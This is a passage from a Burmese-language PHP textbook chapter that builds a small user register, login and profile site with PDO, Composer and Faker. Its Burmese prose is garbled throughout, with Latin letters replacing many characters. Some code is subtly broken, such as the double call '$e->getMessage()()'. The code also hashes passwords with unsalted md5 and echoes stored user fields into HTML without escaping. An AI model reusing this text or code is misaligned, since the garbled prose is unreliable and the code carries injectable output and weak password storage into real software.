_classes အမည်နဲ့  oုိဒါအသစ်တစ်ခုလည်း ပါဝင်လာပါတယ်။ သ့ူထဲမှာ  Helpers နဲ့  Libs ဆိုတဲ့
ထပ်ဆင့် oုိဒါdတွ ရှိdနပါတယ်။ Helpers ထဲက Auth.php ကို User Login ဝင်ထားမထား စစတ်ဲ့ကုဒ်
ကို  dရးo့ုိgoစ်ပါတယ်။  လုိတဲ့dနရာကdန  dခါ်သုံးo့ုိ  ရည်ရွယ်ပါတယ်။  HTTP.php မှာdတာ့  Redirect
လုပ်dဆာင်ချက်ကို  လုိတဲ့dနရာက  dခါ်သံုးနိုင်o့ုိ  dရးထားdပးချင်လ့ုိပါ။  မဟုတ်ရင်  header() နဲ့
Redirect လုပ်တဲ့အခါ ../ နဲ့ အgပင်ထွက်ရတာdတွ exit() နဲ့ ရပ်ရတာdတွ ကိုယ်zာသာ ခဏနေခဏနေ
dရးdနရပါလိမ့်မယ်။  တစ်ခါdရးထားပြပီးdတာ့  dခါ်သံုးလုိက်ချင်ပါတယ်။  ဒီလုိdလး  ခွဲdပးထားတဲ့အတွက်
dနာက်ပုိင်းလုိအပ်ရင် Auth နဲ့ ပက်သက်တဲ့ ထပ်တိုးလုပ်dဆာင်ချက်dတွ၊  HTTP နဲ့ပက်သက်တဲ့ ထပ်တိုး
လုပ်dဆာင်ချက်dတွ ဒီထဲမှာ လာdရးလုိက်ယံုပါပဲ။

Libs ထဲမှာdတာ့  Database အမည်နဲ့  dနာက်ထပ်  oုိဒါတစ်ခုရှိdနပါdသးတယ်။  dနာက်ပုိင်း  Libs
dအာက်မှာ  File  နဲ့ပက်သက်တဲ့  လုပ်dဆာင်ချက်dတွ၊  Session  နဲ့ပက်သက်တဲ့  လုပ်dဆာင်ချက်dတွ
စသည်goင့်  ထပ်တိုးလုပ်dဆာင်ချက်dတွ  ရှိလာရင်  ထည့်လ့ုိရdအာင်  ခွဲထားdပးတာပါ။  dလာdလာဆယ်
ရိှdနတဲ့  MySQL.php က  Database  ချတိ်ဆက်မှုနဲ့  ပက်သက်တဲ့  ကုဒ်dတွ  dရးoို့goစ်ပြပီး
UsersTable.php တိုက့dတာ့  users Table ထဲက Data dတွကို စီမံတဲ့ကုဒ်dတွ dရးo့ုိgoစ်ပါတယ်။
ဒီdနရာမှာ  Table Gateway Pattern လ့ုိdခါ်တဲ့  Design Pattern တစ်မျ ို းကို သံုးပါမယ်။  Table  ကိုသွား
ချင်ရင်  တိုက်ရိုက်မသွားရzူး၊  ဒီကdနgoတ်သွားရတယ်ဆိုတဲ့  သdzာမျ ို းပါ။  dရှ့ ပုိင်းမှာ  dgပာခဲ့တဲ့
Repository Pattern နဲ့ သdzာသzာဝ ဆင်တူပါတယ်။ 

js oုိဒါနဲ့အတူ  bootstrap.bundle.min.js oုိင်ကိုထည့်ထားပါတယ်။  ဒီoုိင်ကdတာ့  ကိုယ့်
zာသာ dရးရမှာ မဟုတ်ပါzူး။ Bootstrap CSS Framework နဲ့အတူပါလာတဲ့ oုိင်ကို ယူထည့်ထားdပးရ
မှာပါ။  ပdရာZျက်dအာက်တည့်တည့်မှာ  admin.php နဲ့  composer.json တို့ကို  ထပ်တိုးထားပါ
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တယ်။ composer.json oုိင်ကလည်း ကိုယ့်zာသာ dဆာက်စရာမလုိပါzူး။ အခုလုိ Command dပး
ပြပီး dဆာက်လုိက်လ့ုိရပါတယ်။

composer init

ဒီအdeကာင်းကို  dရှ့ ပုိင်းမှာ dgပာခဲ့ပြပီးသားမ့ုိလို့  Composer  ကdမးတဲ့dမးခွန်းdတွကို  ကိုယ့်နှစ်သက်သလုိ
dgoပြပီး  composer.json oုိင်ကို  တည်dဆာက်လုိက်ပါ။  ပထမဆုံး  လုပ်သင့်တာကdတာ့  PSR-4
Autoload Setting ကို composer.json မှာ ထည့်သွင်းoို့ goစ်ပါတယ်။ အခုလုိထည့်သွင်းdပးရမှာပါ။

 JSON – composer.json 
{
    "name": "eimg/project",
    "authors": [
        {
            "name": "Ei Maung",
            "email": "eimg@fairwayweb.com"
        }
    ],
    "require": { },
    "autoload": {
        "psr-4": {
            "Libs\\": "_classes/Libs/",
            "Helpers\\": "_classes/Helpers/"
        }
    }
}

ကျန်အပုိင်းdတွက အတိအကျတူစရာမလုိပါzူး။  autoload Section  ကိုသာ dပးထားတဲ့အတိုင်း  မှန်
dအာင်goည့်စွက်dပးရမှာ  goစ်ပါတယ်။  ဒီdတာ့မှ  Composer  က  Namespace  Libs ကို  လုိချင်ရင်
_classes/Libs ထဲမှာ eကည့်ရမယ်၊ Namespace Helpers ကိုလုိချင်ရင် _classes/Helpers
မှာ eကည့်ရမယ်ဆိုတဲ့ စမှတ်dတွကို သတိသွားမှာပါ။ ပြပီးရင် dump-autoload ကို Run dပးo့ုိ မdမ့ပါနဲ့။
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composer dump-autoload

ဆက်လက်ပြပီးdတာ့ လုိအပ်တဲ့ ကုဒ်dတွကို dရးeကပါမယ်။ MySQL.php မှာ အခုလုိdရးdပးပါ။

 PHP 
<?php
namespace Libs\Database;
use PDO;
use PDOException;
class MySQL
{
    private $dbhost;
    private $dbuser;
    private $dbname;
    private $dbpass;
    private $db;
    public function __construct(
        $dbhost = "localhost",
        $dbuser = "root",
        $dbname = "project",
        $dbpass = "",
    ) {
        $this->dbhost = $dbhost;
        $this->dbuser = $dbuser;
        $this->dbname = $dbname;
        $this->dbpass = $dbpass;
        $this->db = null;
    }

    public function connect()
    {
        try {
            $this->db = new PDO(
                "mysql:host=$this->dbhost;dbname=$this->dbname",
                $this->dbuser,
                $this->dbpass,
                [
                    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
                    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_OBJ,
                ]
            );

            return $this->db;
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        } catch (PDOException $e) {
            return $e->getMessage();
        }
    }
}

Namespace ကို oုိဒါ Path လမ်းdeကာင်းအတိုင်း Libs\Database လ့ုိdပးထားပါတယ်။ အခုdန PDO
ကို တုိက်ရိုက်သံုးရင် Libs\Database\PDO ဆိုတဲ့ Class ကို လုိက်ရှာမှာပါ။ ရိှမှာ မဟုတ်ပါzူး။ PDO
က Global Namespace dအာက်မှာရှိတာပါ။ ဒါdeကာင့် use နဲ့ PDO ကို Import လုပ်dပးပြပီးမှ ဆက်သံုး
ထားပါတယ်။  PDO  Error  dတွကို  Exception  Handling  နည်းစနစ်နဲ့  စီမံချင်တဲ့အတွက်
PDOException ဆိုတဲ့ Class ကိုလည်း Import လုပ်ထားပါတယ်။

Database  ဆက်သွယ်မှုအတွက်  လုိအပ်တဲ့  dbhost,  dbuser,  dbpass နဲ့  dbname တို့ကို
Constructor Parameter အdနနဲ့ dတာင်းထားပါတယ်။ မdပးခဲ့ရင်လည်း ရပါတယ်။ Default Value dတွ
အသီးသီး  သတ်မှတ်ထားလ့ုိပါ။  ဒါdeကာင့်  Database  Setting  မdပးzဲ  ချတိ်ဆက်နိုင်သလို၊  လုိအပ်ရင်
Setting  dပးပြပီးdတာ့လည်း  ချတိ်ဆက်နိုင်သွားမှာ  goစ်ပါတယ်။  ဒီdနရာမှာ  PHP  8  ရဲ့  Constructor
Property Promotion dရးထံုးကို အသံုးgပုရင် ကုဒ်က dတာ်dတာ်တိုသွားမှာပါ။ ဒါdပမယ့် တစ်ချ ို ့ PHP 8
မရှိdသးသူdတွလည်း စမ်းချင်ရင် စမ်းလုိ့ရdအာင် ရိုးရိုးပဲ dရးdပးလုိက်တာပါ။

ပြပီးတဲ့အခါ  connect() Method  နဲ့  Database  ကိုချတိ်ဆက်ထားပါတယ်။ ထူးgခားချက်အdနနဲ့  Error
Mode ကို ပြပီးခဲ့တဲ့အခန်းမှာလုိ WARNING လ့ုိ မdgပာdတာ့ပါzူး။ EXCEPTION လ့ုိdgပာထားပါတယ်။ ဒါ
deကာင့် Error ရိှရင် Warning မdပးdတာ့zဲ Exception dပးသွားမှာပါ။ တစ်ကယ်dတာ့ Database နဲ့ပက်
သက်တဲ့  အလုပ်dတွ လုပ်ပြပီးရင်  Connection  ကို  gပန်ပိတ်dပးရပါတယ်။ ဒါdပမယ့် အလုပ်တစ်ခုလုပ်လို
တိုင်း Database Connection ကို oွင့်လုိက်ပိတ်လုိက် အပြမဲတမ်း လုပ်dနရမှာစိုးလ့ုိ ပိတ်တဲ့ Method မdရး
dတာ့ပါzူး။  ပိတ်ချင်ရင်  ပိတ်ပံုပိတ်နည်းက လွယ်ပါတယ်။  PDO  Object  ရှိdနတဲ့  $db ကို  Null  gပန်
သတ်မှတ်dပးလုိက်ယုံပါပဲ။

Database နဲ့ဆက်သွယ်လုိရင် MySQL Class ရဲ့  connect() Method ကို  Run လုိက်ယံုပဲgoစ်ပါတယ်။
ဆက်လက်ပြပီးdတာ့ UsersTable.php မှာ အခုလုိdရးသားdပးပါမယ်။
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 PHP 
<?php
namespace Libs\Database;
use PDOException;
class UsersTable
{
    private $db = null;
    public function __construct(MySQL $db)
    {
        $this->db = $db->connect();
    }

    public function insert($data)
    {
        try {
            $query = "
                INSERT INTO users (
                    name, email, phone, address,
                    password, role_id, created_at
                ) VALUES (
                    :name, :email, :phone, :address,
                    :password, :role_id, NOW()
                )

  ";

            $statement = $this->db->prepare($query);
            $statement->execute($data);
            return $this->db->lastInsertId();
        } catch (PDOException $e) {
            return $e->getMessage()();
        }
    }

    public function getAll()
    {
        $statement = $this->db->query("
            SELECT users.*, roles.name AS role, roles.value
            FROM users LEFT JOIN roles
            ON users.role_id = roles.id
        ");

        return $statement->fetchAll();
    }
}



PWD 2022 – အခန်း (၃၉) – PHP Project 611

Dependency Injection နည်းစနစ်ကိုသုံးပြပီး  MySQL Object ကို  Constructor မှာ dတာင်းထားပါတယ်။
တစ်ကယ်dတာ့  Database  ချတိ်တဲ့ကုဒ်ကို  သပ်သပ်မခွဲzဲ ဒီထဲမှာပဲ dရးလိုက်လ့ုိလည်း ရနိုင်ပါတယ်။ ဒါ
dပမယ့် အခုလုိ သပ်သပ်ခွဲထားပြပီး  Dependency အdနနဲ့  Inject လုပ်ခိုင်းလုိက်တဲ့အတွက် dနာက်ပုိင်းမှာ
Database အမျ ို းအစား dgပာင်းချင်တာdတွ zာdတွအတွက် ပုိလွယ်သွားdစမှာ goစ်ပါတယ်။

Method  အdနနဲ့  insert() နဲ့  getAll() တို့ကိုdရးထားပါတယ်။  Data  ထည့်သွင်းလုိတဲ့အခါ
insert() ကိုdခါ်ပြပီး ထည့်သွင်းလုိတဲ့  Data  dပးရမှာgoစ်ပါတယ်။  getAll() ကdတာ့ ရှင်းပါတယ်၊
users Table  ထဲက  ရိှသမျှအကုန်  ထုတ်ယူပြပီး  gပန်dပးမှာပါ။  ကုဒ်dတွdရးတဲ့အခါ  အားလံုးပြပီးgပည့်စုံ
dအာင်dတာ့  မdရးနိုင်ပါzူး။  အချနိ်နဲ့  dနရာ  အကန့်အသတ်ရှိလ့ုိပါ။  ဒီdနရာမှာ  လုိအပ်ချက်နှစ်ခု  ရှိပါ
တယ်။ ပထမတစ်ခုက Insert မလုပ်ခင် Data ကို gပည့်စုံမှန်ကန်မှု ရိှမရှိ စစ်o့ုိgoစ်ပါတယ်။ စစ်မထားပါzူး။
ဒီအတိုင်းပဲ ထည့်ထားပါတယ်။ ဒုတိယတစ်ခုက  getAll() မှာ  try-catch နဲ့  Exception Handle
လုပ်dရးo့ုိgoစ်ပါတယ်။ Insert မှာပဲ Exception Handle လုပd်ရးထားပါတယ်။ တစ်ကယ်dတာ့ Database
နဲ့ဆက်သွယ်မှုတိုင်းကို အ့ဲဒီလုိ Exception Handle လုပd်ရးdပးo့ုိ လုိအပ်ပါတယ်။ dလာdလာဆယ်dတာ့
တိုသွားdအာင် ဒီအတိုင်းပဲ  ကျန်လုပ်dဆာင်ချက်dတွကို  ဆက်dရးသွားမှာပါ။  dနာက်ပုိင်းမှ  စာoတ်သူက
ကိုယ့်အစီအစဉ်နဲ့ကိုယ် လုိက်goည့်dရးdပးoို့ တိုက်တွန်းပါတယ်။

ပြပီးdတာ့  အခုလုိ  Dependency  Injection  dတွzာdတွနဲ့  dရးလာပြပီဆိုရင်  Factory  Class  dလးတစ်ခု
လည်း ရိှသင့်ပါတယ်။ Object တစ်ခုdဆာက်ခါနီးတိုင်း လုိအပ်တဲ့ Dependency ကို ကိုယ်zာသာ oန်တီး
ပြပီး dပးdနရတာထက် Factory က Object dဆာက်dပးလုိက်ရင် ပုိစနစ်ကျပြပီး dရရှည်အတွက် ပုိdကာင်း
သွားမှာ  goစ်ပါတယ်။  ဒါdပမယ့်  အ့ဲဒီကိစ္စကိုလည်းပဲ  အိမ်စာအdနနဲ့  dနာက်မှ  စမ်းeကည့်oို့ပဲ  ချန်ထား
လုိက်ပါတယ်။ dလာdလာဆယ်  Factory  မပါzဲ ဆကd်ရးသွားမှာ goစ်ပါတယ်။ dနာကတ်စ်ဆင့်အdနနဲ့
စမ်းစရာနမူနာ Data dတွ ထည့်eကပါမယ်။ ဒီလုိထည့်oုိ့အတွက် Faker လ့ုိdခါ်တဲ့ နမူနာ Data dပးနိုင်တဲ့
Package တစ်ခုကို အသံုးgပုလုိပါတယ်။ ဒါdeကာင့် အခုလုိ Install လုပ်လုိက်ပါ။

composer require fakerphp/faker

ဒီလုိ  Install  လုပ်လုိက်တယ်ဆိုရင်  Composer  က  vendor oုိဒါတည်dဆာက်ပြပီး  Faker  ကို  ရယူ
ထည့်သွင်းdပးသွားမှာ goစ်ပါတယ်။ ပြပီးတဲ့အခါ _actions/populate.php မှာ အခုလုိ dရးdပးပါ။
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 PHP 
<?php
include("../vendor/autoload.php");
use Faker\Factory as Faker;
use Libs\Database\MySQL;
use Libs\Database\UsersTable;
$faker = Faker::create();
$table = new UsersTable(new MySQL());
if ($table) {
    echo "Database connection opened.\n";
    for ($i = 0; $i < 10; $i++) {
        $data = [
            'name' => $faker->name,
            'email' => $faker->email,
            'phone' => $faker->phoneNumber,
            'address' => $faker->address,
            'password' => md5('password'),
            'role_id' => $i < 5 ? rand(1, 3) : 1
        ];

        $table->insert($data);
    }

    echo "Done populating users table.\n";
}

vendor/autoload.php ကို  Include  လုပ်ထားပြပီးgoစ်လို့  dနာက်ထပ်အသံုးgပုချင်တဲ့  Class  dတွကို
ထပ်ပြပီးdတာ့  Import လုပ်စရာမလုိအပ်dတာ့ပါzူး။  use နဲ့  Import လုပ်ပြပီး သံုးလ့ုိရသွားပါပြပီ။ Faker,
MySQL နဲ့  UsersTable တို့ကို  Import လုပ်ထားပါတယ်။ Faker ကို  Import လုပ်တဲ့အခါ သူdရးdပး
ထားတဲ့ Factory Class ကို Import လုပ်ပြပီး Faker လ့ုိပဲ Alias လုပ်dပးထားပါတယ်။

Faker::create() နဲ့  Faker Object  တစ်ခုတည်dဆာက်ပြပီး  UsersTable Object  တစ်ခု
ဆက်လက်တည်dဆာက်ထားပါတယ်။  MySQL Object  ကို  Dependency  အdနနဲ့  ထည့်dပးလုိက်ပါ
တယ်။ ပြပီးတဲ့အခါ Loop (၁၀) ခါပါတ်ပြပီး  UsersTable ရဲ့  insert() အကူအညီနဲ့  User Data dတွ
တန်းစီထည့်သွင်းလုိက်တာပါ။  (၁၀)  ခုမကလို့  အခု  (၂၀)  အခု  (၅၀)  လုိချင်ရင်လည်း  Loop  ကို  dgပာင်း
dပးလုိက်ယံုပါပဲ။
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name, email, phone, address တို့အတွက် Faker ကgပန်dပးတဲ့ Random တန်oုိးdတွကို သံုး
ထားပါတယ်။  Password  dတွသိမ်းတဲ့အခါမှာ  မူရင်း  Password  အတိုင်းမသိမ်းzဲ  Hash  လုပ်ထားတဲ့
တန်oုိးကို သိမ်းသင့်လုိ့ md5() Standard Function ရဲ့အကူအညီနဲ့ password ဆိုတဲ့စာကို Hash လုပ်
dပးထားပါတယ်။ တစ်ကယ်dတာ့ md5() နဲ့တင် မလံုdလာက်ပါzူး။ ဒီအdeကာင်းကို dနာက်တစ်ခန်းမှာ
ထပ်ရှင်းgပပါမယ်။  dလာdလာဆယ်  User  အားလံုးရဲ့  Password  ဟာ  password goစ်တယ်လို့သာ
မှတ်ထားdပးပါ။

role_id အတွက် 1 နဲ့ 3 eကား Random dပးချင်တာပါ။ ဒါdပမယ့် 1 dတွပုိများdစလုိတဲ့အတွက် ပထမ
(၅)  dယာက်dလာက်ကိုပဲ  1  နဲ့  3  eကား  Random  dပးပြပီး  ကျန်  User  dတွကို  1  လ့ုိပဲdပးo့ုိ  Ternary
Operator ကို အသံုးgပုdရးသားထားပါတယ်။ dရးပြပီးပြပီဆိုရင် စမ်းလ့ုိရပါပြပီ။

localhost/project/_actions/populate.php

dရးထားတဲ့ကုဒ်မှာ အမှားမရှိzူးဆိုရင် users Table မှာ Random Data နဲ့  Record (၁၀) ခုဝင်dရာက်
သွားတာကို dတွ့ ရမှာပဲ goစ်ပါတယ်။ dရးခဲ့တဲ့ကုဒ်များတဲ့အတွက် စာလံုးdပါင်းdeကာင့်goစ်goစ်၊  Operator
dတွကျန်လ့ုိပဲgoစ်goစ် အမှားdတွdတာ့ ဟိုနားဒီနား ရှိနိုင်ပါတယ်။ စိတ်ရှည်လက်ရှည် gပန်တိုက် dgoရှင်းပါ။
တစ်ဆင့်အဆင့်dgပမှ  dနာက်တစ်ဆင့်ကို  ဆက်သွားသင့်ပါမယ်။  အဆင်မdgပdသးzဲ  dနာကတ်စ်ဆင့်ကို
ဆက်သွားရင် dနာက်ကျdတာ့မှ အမှားရှာရ ပုိပြပီးdတာ့ ခက်သွားပါလိမ့်မယ်။
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Helpers
ဆက်လက်ပြပီးdတာ့  Auth  နဲ့  HTTP  တို့မှာ  dရးရမယ့်ကုဒ်dတွ  ဆက်dရးeကပါမယ်။
Helpers/HTTP.php မှာအခုလုိ dရးdပးပါ။

 PHP 
<?php
namespace Helpers;
class HTTP
{
    static $base = "http://localhost/project";
    static function redirect($path, $query = "")
    {
        $url = static::$base . $path;
        if($query) $url .= "?$query";
        
        header("location: $url");
        exit();
    }
}

ပdရာZျက်ရဲ့  Base URL  သတ်မှတ်ပြပီး  redirect() Static Method  တစ်ခုပါဝင်ပါတယ်။ အကယ်၍
စာdရးသdူရးစမ်းdနတဲ့  ပdရာZျက်  URL  ကနမူနာနဲ့မတူရင်  ဒီdနရာမှာ  dgပာင်းdပးoို့  လုိပါလိမ့်မယ်။
redirect() Method  က  $path နဲ့  $query နှစ်ခုလက်ခံပါတယ်။  $query အတွက်  Default
Value dပးထားလ့ုိ မပါရင်လည်း ရပါတယ်။ ပြပီးတဲ့အခါ dပးလာတဲ့ $path နဲ့ $query ကို Base URL နဲ့
dပါင်းစပ်ပြပီး  header() Function  နဲ့  Redirect  လုပ်dပးလုိက်တာပါ။ ဒါdeကာင့် dနာက်ပိုင်း  Redirect
လုပ်ချင်ရင် header() Function ကိုယ့်zာသာ dရးစရာမလုိdတာ့ပါzူး။ ဒီလုိdရးလုိက်ရင် ရသွားပါပြပီ။

HTTP::redirect('/url', 'query=value');
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ဆက်လက်ပြပီးdတာ့ Helpers/Auth.php မှာ အခုလုိdရးdပးပါ။

 PHP 
<?php
namespace Helpers;
class Auth
{
    static $loginUrl = '/index.php';
    static function check()
    {
        session_start();
        if(isset($_SESSION['user'])) {
            return $_SESSION['user'];
        } else {
            HTTP::redirect(static::$loginUrl);
        }
    }
}

ဒါလည်း သိပ်ရှုပ်dထွးတဲ့လုပ်dဆာင်ချက် မဟုတ်ပါzူး။ ခါတိုင်း ကိုယ့်zာသာ $_SESSION ထဲမှာ ရှိမရှိ
စစ်dနeကကုဒ်ကို  စစ်dပးတဲ့  check() Method  ပါသွားတာပါ။ ဒါdeကာင့် dနာက်ပုိင်း  Login  ဝင်ထားမ
ထား  စစ်ချင်ရင်  Auth::check() ဆိရုင်  ရသွားပါပြပီ။  Login  ဝင်မထားရင်  သ့ူzာသာ  Login  URL
အgoစ် သတ်မှတ်ထားတဲ့ index.php ကို dရာက်သွားပါလိမ့်မယ်။

Register
dနာက်တစ်ဆင့် ဆက်လုပ်မှာကdတာ့  User  Account  dဆာက်လ့ုိရတဲ့  Register  လုပ်dဆာင်ချက်goစ်ပါ
တယ်။ register.php ထဲမှာ ဒီ HTML Template ကို dရးသားdပးပါ။

 PHP 
<!DOCTYPE html>
<html>
<head>
    <title>Register</title>
    <meta name="viewport" 

content="width=device-width, initial-scale=1.0">

    <link rel="stylesheet" href="css/bootstrap.min.css">
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    <style>
        .wrap {
            width: 100%;
            max-width: 400px;
            margin: 40px auto;
        }
    </style>
</head>
<body class="text-center">
    <div class="wrap">
        <h1 class="h3 mb-3">Register</h1>

        <?php if (isset($_GET['error'])): ?>
            <div class="alert alert-warning">
                Cannot create account. Please try again.
            </div>
        <?php endif ?>
        <form action="_actions/create.php" method="post">
            <input type="text" name="name" class="form-control mb-2" 

placeholder="Name" required>

            <input type="email" name="email" class="form-control mb-2"
placeholder="Email" required>

            <input type="text" name="phone" class="form-control mb-2" 
placeholder="Phone" required>

            <textarea name="address" class="form-control mb-2" 
placeholder="Address" required></textarea>

            <input type="password" name="password" 
class="form-control mb-2" 
placeholder="Password" required>

            <button type="submit" 
class="w-100 btn btn-lg btn-primary">

                Register
            </button>
        </form>
        <br>

        <a href="index.php">Login</a>
    </div>
</body>
</html>

ရိုးရိုး  HTML  Form  တစ်ခုgoစ်ပြပီး  name, email, phone, address နဲ့  password တို့ကို
dတာင်းထားပါတယ်။ တစ်ကယ်dတာ့ Password dတာင်းတဲ့အခါ မှားမှာ စိုးလ့ုိ နှစ်ခါdတာင်းပြပီး Confirm
Password  လုပ်dဆာင်ချက် ထည့်dပးoို့  လုိအပ်နိုင်ပါတယ်။ ဒါdပမယ့် ဒီလုပ်dဆာင်ချက်အတွက် လုိအပ်
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တဲ့ JavaScript ကုဒ်dတွ ထည့်မdရးနိုင်တဲ့အတွက် ထည့်မထားပါzူး။ doာင်ကိုgoည့်ပြပီး Register Button
ကိုနှိပ်လုိက်ရင်  _actions/create.php ကိုdရာက်သွားမှာgoစ်လ့ုိ  create.php မှာ  အခုလုိ
ဆက်လက်dရးသားdပးပါ။

 PHP 
<?php
include("../vendor/autoload.php");
use Libs\Database\MySQL;
use Libs\Database\UsersTable;
use Helpers\HTTP;
$data = [
    "name" => $_POST['name'] ?? 'Unknown',
    "email" => $_POST['email'] ?? 'Unknown',
    "phone" => $_POST['phone'] ?? 'Unknown',
    "address" => $_POST['address'] ?? 'Unknown',
    "password" => md5( $_POST['password'] ),
    "role_id" => 1,
];

$table = new UsersTable(new MySQL());
if( $table ) {
    $table->insert($data);
    HTTP::redirect("/index.php", "registered=true");
} else {
    HTTP::redirect("/register.php", "error=true");
}

dစာdစာက  populate.php မှာလုိပဲ  users Table  ထဲကို  Record  တစ်ခုထည့်dပးလိုက်တာပါ။  ဒီ
တစ်ခါdတာ့  Form  ကdနပ့ုိလုိက်တဲ့  Data  dတွကို  ထည့်သိမ်းလုိက်တာ  goစ်သွားပါပြပီ။  သိမ်းပြပီးတဲ့အခါ
index.php ကို  Redirect လုပ်ခိုင်းထားပါတယ်။ registered=true ဆိုတဲ့  Query ထည့်dပးလုိက်
လ့ုိ index.php မှာလည်း ဒါdလးgoည့်dရးdပးပါ။
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…

<h1 class="h3 mb-3">Login</h1>

<?php if (isset($_GET['registered'])): ?>
    <div class="alert alert-success">
        Account created. Please login.
    </div>
<?php endif ?>
<?php if (isset($_GET['suspended'])): ?>
    <div class="alert alert-danger">
        Your account is suspended.
    </div>
<?php endif ?>
… 

dခါင်းစဉ်goစ်တဲ့  <h1> dအာက်နားမှာ  registered URL Query  ရိှရင်  Success Alert  dလးတစ်ခုကို
gပခိုင်းလုိက်တာပါ။ လက်စနဲ့ dနာင်လုိအပ်မှာမ့ုိလ့ုိ  suspended URL Query ရိှရင်  Danger Alert  dလး
တစ်ခုgပdပးတဲ့ ကုဒ်ကိုပါ တစ်ခါထဲ ထည့d်ရးထားပါတယ်။ ကျန်ကုဒ်dတွက အdgပာင်းအလဲ မရှိပါzူး။

Register  လုပ်ပြပီး စမ်းeကည့်လ့ုိရပါပြပီ။  Register လုပ်လုိ့dအာင်gမင်ရင်  Login ကိုအလုိအdလျှာက် dရာက်
သွားမှာပါ။ တစ်ဆင့်ချင်း သွားသင့်လ့ုိ ဒီအဆင့်ထိ မှန်မမှန်အရင်စမ်းပြပီးမှ dရှ့ဆက်သွားသင့်ပါတယ်။

Login
Login ဝင်o့ုိအတွက် ကိုယ် Register လုပ်စဉ်မှာ dပးခဲ့တဲ့ email နဲ့ password ကို အသံုးgပုရမှာပါ။ ဒါ
dပမယ့်  Login  အတွက်  လက်ရှိdရးထားတဲ့ကုဒ်က  အdသစစ်ထားတဲ့ကုဒ်  goစ်dနပါတယ်။  dပးလာတဲ့
email နဲ့  password မှန်မမှန် users Table ထဲမှာသွားeကည်ပြပီး အလုပ်လုပ်တာ မဟုတ်dသးပါzူး။
ဒါdeကာင့် UsersTable.php မှာ ဒီ Method ကိုgoည့်dရးdပးပါ။
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…

public function findByEmailAndPasword($email, $password)
{
    $statement = $this->db->prepare("
        SELECT users.*, roles.name AS role, roles.value
        FROM users LEFT JOIN roles
        ON users.role_id = roles.id
        WHERE users.email = :email 
        AND users.password = :password
    ");

    $statement->execute([
        ':email' => $email,
        ':password' => $password 
    ]);

    $row = $statement->fetch();
    return $row ?? false;
}

…

email နဲ့  password dပးလာခဲ့ရင်  အ့ဲဒီ  email,  password တန်oုိးdတွနဲ့  ကိုက်ညီတဲ့  Record  ရှိမရှိ
ထုတ်ယူပြပီး gပန်dပးတဲ့ ကုဒ်goစ်ပါတယ်။ JOIN Statement ကို အသံုးgပုပြပီး roles Table ထဲက လုိအပ်
မယ့် အချက်အလက်dတွကိုပါ တစ်ခါထဲ တွဲထုတ်ယူdပးမှာပါ။ ပြပီးတဲ့အခါ _actions/login.php က
ကုဒ်ကို အခုလုိ gပင်dပးရပါမယ်။

 PHP 
<?php
session_start();
include("../vendor/autoload.php");
use Libs\Database\MySQL;
use Libs\Database\UsersTable;
use Helpers\HTTP;
$email = $_POST['email'];
$password = md5( $_POST['password'] );

$table = new UsersTable(new MySQL());
$user = $table->findByEmailAndPasword($email, $password);
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if ($user) {
    if($table->suspended($user->id)) {
        HTTP::redirect("/index.php", "suspended=1");
    }

    $_SESSION['user'] = $user;
    HTTP::redirect("/profile.php");
} else {
    HTTP::redirect("/index.php", "incorrect=1");
}

အရင်လုိ  email နဲ့  password ကို  တန်oုိးအdသdပးပြပီး  စစ်တာမဟုတ်dတာ့ပါzူး။ dစာdစာက dရး
လုိက်တဲ့  findByEmailAndPassword() Method  ကိုသံုးပြပီး  users Table  ထဲမှာ ရိှမရှိစစ်လုိက်
တာပါ။ Password ကို သိမ်းတုံးက md5() နဲ့ Hash လုပ်ပြပီးသိမ်းထားတဲ့အတွက် gပန်စစ်တဲ့အခါမှာလည်း
md5() နဲ့ပဲ Hash လုပ်ပြပီးစစ်ထားတာကို သတိgပုပါ။ User ရှရိင် gပန်ရလာတဲ့ User Object ကို Session
ထဲမှာသိမ်းပြပီး မရှရိင် Login goစ်တဲ့ index.php ကို gပန်သွားခိုင်းလုိက်တာပါ။

ရပါပြပီ။ အdကာင့်dတွ Register လုပ်ပြပီး၊ Register လုပ်ထားတဲ့ အdကာင့်နဲ့ Login ဝင်စမ်းeကည့်လုိက်ပါ။

Profile
Login ဝင်လုိက်ရင် profile.php ကိုdရာက်သွားမှာပါ။ လက်ရှိdရးထားတဲ့ကုဒ်အရ profile.php
မှာ  gပdနတဲ့  ရလဒ်က  အdသdပးထားတဲ့  နမူနာအချက်အလက်dတွပါ။  Login  ဝင်ထားတဲ့  User  ရဲ့
အချက်အလက်အမှန် မဟုတ်ပါzူး။ ဒါdeကာင့် အချက်အလက်အမှန်gပdအာင်  profile.php ကို အခု
လုိgပင်dရးdပးရပါမယ်။

 PHP 
<?php
include("vendor/autoload.php");
use Helpers\Auth;
$auth = Auth::check();
?>
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<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" 

content="width=device-width, initial-scale=1.0">
    <title>Profile</title>

    <link rel="stylesheet" href="css/bootstrap.min.css">
</head>
<body>
    <div class="container">
        <h1 class="mt-5 mb-5">
            <?= $auth->name ?>
            <span class="fw-normal text-muted">
                (<?= $auth->role ?>)
            </span>
        </h1>

        <?php if(isset($_GET['error'])): ?>
            <div class="alert alert-warning">
                Cannot upload file
            </div>
        <?php endif ?>
        <?php if($auth->photo): ?>
            <img 
                class="img-thumbnail mb-3" 
                src="_actions/photos/<?= $auth->photo ?>"
                alt="Profile Photo" width="200">
        <?php endif ?>
        <form action="_actions/upload.php" method="post" 

enctype="multipart/form-data">
            <div class="input-group mb-3">
                <input type="file" name="photo" class="form-control">
                <button class="btn btn-secondary">Upload</button>
            </div>
        </form>

        <ul class="list-group">
            <li class="list-group-item">
                <b>Email:</b> <?= $auth->email ?>
            </li>
            <li class="list-group-item">
                <b>Phone:</b> <?= $auth->phone ?>
            </li>
            <li class="list-group-item">
                <b>Address:</b> <?= $auth->address ?>
            </li>
        </ul>
        <br>
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        <a href="admin.php">Manage Users</a> |
        <a href="_actions/logout.php" class="text-danger">Logout</a>
    </div>
</body>
</html>

ဟိုးထိပ်ဆုံးမှာ  Auth::check() နဲ့စစ်ပြပီး  Login User  ရဲ့အချက်အလက်dတွ ယူထားပါတယ်။ ပြပီးတဲ့
အခါ dအာကz်က်က Template ထဲမှာ အ့ဲဒီ တန်oုိးdတွကို သ့ူdနရာနဲ့သူ အစားထုိးပြပီး gပလုိက်တာပါ။ ဒါ
